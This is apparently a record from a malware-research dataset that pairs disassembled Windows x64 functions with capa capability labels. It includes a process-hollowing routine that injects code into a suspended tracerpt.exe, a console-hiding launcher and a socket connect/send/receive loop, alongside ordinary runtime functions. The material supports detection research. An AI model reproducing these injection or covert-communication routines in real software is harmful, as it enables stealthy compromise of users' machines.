joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404220
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push rbp
push rsi
push r12
push r13
push r14
sub rsp, 0x80
mov rax, qword [0x0141e1d8]
xor rax, rsp
mov qword [rsp + 0x68], rax
movzx r12d, r8w
mov r14d, 2
mov r13, rdx
mov rbp, rcx
xor esi, esi
mov edx, r14d
lea r8d, [rsi + 0x11]
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x1404272
xor eax, eax
jmp 0x1404405
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x54]
mov qword [rsp + 0x30], rcx
lea r8, [rsp + 0x50]
mov r9d, 4
mov rcx, rax
mov edx, 0x9800000c
mov qword [rsp + 0x78], rbx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x50], esi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbp + 0x58]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
mov rcx, r13
mov qword [rbp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov r8, r13
xor edx, edx
xor ecx, ecx
mov r9d, eax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.01408aac
mov rcx, r13
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov r8, r13
xor edx, edx
mov r9d, eax
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov byte [rbx + rdi], sil
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, rdi
mov rbx, rax
call fcn.01408ab4
mov rdi, qword [rsp + 0x70]
test rbx, rbx
jne 0x1404393
xor eax, eax
jmp 0x1404400
movzx ecx, r12w
mov word [rsp + 0x58], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov rdx, qword [rbp + 0x60]
mov r8d, gethostbyname
mov word [rsp + 0x5a], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rbp + 0x58]
mov dword [rsp + 0x5c], eax
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14043fe
mov rcx, qword [rbp + 0x58]
lea rdx, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14043f9
cmp eax, 0xffffffff
jne 0x14043fe
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14043fe
mov esi, 1
mov eax, esi
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.01408ad0
add rsp, 0x80
pop r14
pop r13
pop r12
pop rsi
pop rbp
ret
Function at 0x1404850
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rdx + 0x14]
mov rbx, rcx
test eax, eax
je 0x1404880
mov dword [rcx + 0x50], eax
mov dword [rcx + 0x48], 1
mov dword [rcx + 0x4c], 2
xor eax, eax
mov dword [rcx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x58]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x14048bf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 2
mov dword [rbx + 0x50], eax
xor eax, eax
mov dword [rbx + 0x54], 1
add rsp, 0x20
pop rbx
ret
mov dword [rbx + 0x88], 1
lea r9, [rbx + 0x220]
lea rcx, [rbx + 0x268]
mov r8, rbx
mov rdx, rbx
mov qword [rsp + 0x30], rdi
mov dword [rbx + 0x8c], 1
call fcn.01405d80
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140491a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
cmove eax, edi
mov edi, eax
mov rcx, qword [rbx + 0x68]
call fcn.01403210
test edi, edi
mov rdi, qword [rsp + 0x30]
je 0x1404937
mov ecx, 0x80004005
call fcn.014012d0
int3
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x1404950
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rbp, [0x0141a8b0]
nop dword [rax]
mov rdx, qword [rbx + 0xa0]
mov rcx, qword [rbx + 0x58]
xor r9d, r9d
mov r8d, 0x598
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x1404a09
cmp eax, 0x10
jne 0x14049bc
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rax]
cmp rdx, qword [rbp]
jne 0x14049b3
mov rdx, qword [rax + 8]
cmp rdx, qword [rbp + 8]
jne 0x14049b3
xor eax, eax
jmp 0x14049b8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1404a3b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11d, dword [rbx + 0x244]
mov rdx, qword [rbx + 0xa0]
lea rcx, [rbx + 0x268]
cmp edi, 0x18
jl 0x14049f4
mov r9, qword [rbx + 0x250]
mov r8d, edi
mov dword [rsp + 0x20], r11d
call fcn.014063d0
jmp 0x14049fe
cmp edi, 0xc
jne 0x1404a63
call fcn.01406240
cmp eax, 2
jne 0x1404970
jmp 0x1404a6e
cmp eax, 0xffffffff
jne 0x1404970
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1404ab1
cmp eax, 0x2744
je 0x1404970
cmp eax, 0x2746
je 0x1404970
jmp 0x1404a87
mov dword [rbx + 0x48], 1
mov qword [rbx + 0x4c], 5
mov dword [rbx + 0x54], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, recv
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rcx, qword [rbx + 0x68]
call fcn.01403210
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x48], 1
mov dword [rbx + 0x4c], 4
mov dword [rbx + 0x50], eax
mov dword [rbx + 0x54], 1
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x1404ad0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rbp, rcx
lea rdi, [rcx + 0xb8]
call fcn.01404cd0
mov rsi, rax
test rax, rax
je 0x1404be8
nop word [rax + rax]
mov r8d, dword [rsi + 0x30]
mov rdx, qword [rsi + 0x28]
mov rcx, qword [rbp + 0x58]
sub r8d, dword [rsi + 0x28]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov r12d, eax
test eax, eax
jle 0x1404b53
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rbp + 0x218], r12d
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1404b5c
cmp eax, 0xffffffff
je 0x1404c14
cmp qword [rdi + 0x38], 0
je 0x1404bbc
xor r9d, r9d
cmp dword [rdi + 0x30], r9d
jbe 0x1404bbc
nop dword [rax]
mov r8d, dword [rdi + 0x78]
mov eax, dword [rdi + 0xb8]
mov r10d, dword [rdi + 0x30]
mov ecx, r8d
sub ecx, eax
cmp ecx, r10d
jge 0x1404bbc
xor edx, edx
mov eax, r8d
div r10d
mov ecx, edx
mov rdx, qword [rdi + 0x38]
cmp qword [rdx + rcx*8], 0
jne 0x1404ba7
xor eax, eax
lock cmpxchg qword [rdx + rcx*8], rsi
je 0x1404c06
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
inc r9d
cmp r9d, dword [rdi + 0x30]
jb 0x1404b70
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbp
lea rdi, [rbp + 0xb8]
call fcn.01404cd0
mov rsi, rax
test rax, rax
jne 0x1404b10
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
lea ecx, [r8 + 1]
mov eax, r8d
lock cmpxchg dword [rdi + 0x78], ecx
jmp 0x1404bcd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1404c81
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbp + 0x1e8]
test rax, rax
je 0x1404c4b
mov qword [rax + 0x10], rsi
mov rax, qword [rbp + 0x1e8]
mov qword [rsi + 8], rax
jmp 0x1404c62
mov qword [rsi + 0x10], 0
mov qword [rsi + 8], 0
mov qword [rbp + 0x1f0], rsi
inc dword [rbp + 0x1e0]
lea rcx, [rbp + 0x1b8]
mov qword [rbp + 0x1e8], rsi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1404be8
lea rcx, [rdi + 0x30]
mov rdx, rsi
mov dword [rbp + 0x48], 1
mov dword [rbp + 0x4c], 3
mov dword [rbp + 0x50], eax
mov dword [rbp + 0x54], 1
call fcn.014015e0
test eax, eax
jne 0x1404cba
mov rcx, qword [rsi]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x1404bed
Function at 0x1404d80
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbx
mov edi, eax
call fcn.01404160
test eax, eax
jne 0x1404dac
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, edi
mov rcx, rbx
call fcn.01404fa0
mov eax, dword [rbx + 0x88]
xor edi, edi
test eax, eax
je 0x1404de5
cmp dword [rbx + 0x54], edi
je 0x1404ddf
mov rcx, qword [rbx + 0x58]
lea r8d, [rdi + 0x10]
lea rdx, [0x0141a8b0]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbx + 0x88], edi
cmp dword [rbx + 0x48], edi
je 0x1404e02
mov rcx, qword [rbx + 0x68]
call fcn.01403210
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, edi
xchg dword [rbx + 0x20], eax
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x1404e15
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov qword [rbx + 0x60], rdi
mov rcx, qword [rbx + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x1404e3c
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + 0x58], 0xffffffffffffffff
mov rcx, rbx
call fcn.01404e60
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x20
pop rdi
ret
Function at 0x1406c80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
sub rsp, 0x6a0
mov rax, qword [0x0141e1d8]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rbp, qword [0x01422248]
mov rbx, rdx
xor edx, edx
movsxd rdi, ecx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.0140b7c0
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.0140b7c0
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.0140b7c0
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.01406f10
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1406e44
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6d0], rsi
mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1406e29
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1406e29
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1406e29
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1406e2d
xor eax, eax
jmp 0x1406e3c
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6d0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.01408ad0
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x6a0
pop r12
pop rdi
pop rbp
ret
Function at 0x1408580
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rcx, [0x01408550]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
call fcn.014073d0
xor r11d, r11d
lea r8, [0x014080e0]
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x014234f0], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x014234f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x38
ret

Function at 0x1409bc3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0141e1d8]
jne 0x1408aea
rol rcx, 0x10
test cx, 0xffff
jne 0x1408ae6
repz ret
ror rcx, 0x10
jmp 0x1409b1c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x014202b0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x014203a8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1409ba1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x014202b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1409bc3
mov rax, qword [rsp + 0x88]
mov qword [0x014203a8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x01420348], rax
mov rax, qword [0x014203a8]
mov qword [0x01420220], rax
mov rax, qword [rsp + 0x90]
mov qword [0x01420330], rax
mov dword [0x01420210], 0xc0000409
mov dword [0x01420214], 1
mov rax, qword [0x0141e1d8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x0141e1e0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x014202a8], eax
mov ecx, 1
call fcn.0140d7c4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x014185d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x014202a8], 0
jne 0x1409c4a
mov ecx, 1
call fcn.0140d7c4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140a280
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.0140a0f0
Function at 0x140dc88
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x0141e1d8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.0140b8ac
xor ebx, ebx
cmp qword [0x01421320], rbx
mov rdi, rax
jne 0x140dd9b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140de72
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140de72
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x01421320], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x01421328], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x01421330], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x01421340], rax
test rax, rax
je 0x140dd92
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x01421338], rax
jmp 0x140dda2
mov rax, qword [0x01421338]
jmp 0x140dda9
mov rax, qword [0x01421338]
mov r11, qword [0x01421340]
cmp rax, rdi
je 0x140de10
cmp r11, rdi
je 0x140de10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x01421340]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140de10
test rax, rax
je 0x140de10
call rsi
test rax, rax
je 0x140de0a
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140de0a
test byte [rsp + 0x40], 1
jne 0x140de10
bts ebp, 0x15
jmp 0x140de50
mov rcx, qword [0x01421328]
cmp rcx, rdi
je 0x140de50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140de50
call rax
mov rbx, rax
test rax, rax
je 0x140de50
mov rcx, qword [0x01421330]
cmp rcx, rdi
je 0x140de50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140de50
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x01421320]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140de72
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140de74
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.01408ad0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400053d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005422
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005422
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005422
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005422
cmp dword [rcx + 0x84], 0xe
jbe 0x140005422
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005424
xor al, al
add rsp, 0x28
ret

Function at 0x1400056d0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14000570a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000570f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140005758
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400074b0]
cmp byte [rcx + rax], 0
je 0x140005758
dec r8
sub rdx, 1
jne 0x14000573e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14000f220
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140015a10
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140015a10
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000f290
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400960b4]
mov rbx, rcx
test esi, esi
jle 0x14000f3c0
mov rax, qword [0x1400960b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000f2db
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000f365
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000f2c0
mov rcx, rbx
call fcn.14000fd00
mov rdi, rax
test rax, rax
je 0x14000f3e2
mov rax, qword [0x1400960b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000fe40
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400960b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000f3c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000f35e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000f370
add dword [0x1400960b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400960b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000f35e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000f220
nop dword [rax]
xor esi, esi
jmp 0x14000f2e8
mov rax, qword [0x1400960b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000f220
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000f220
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000f970
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140096120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140096100]
test rbx, rbx
je 0x14000f9cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000f9c3
test eax, eax
jne 0x14000f9c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000f9a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]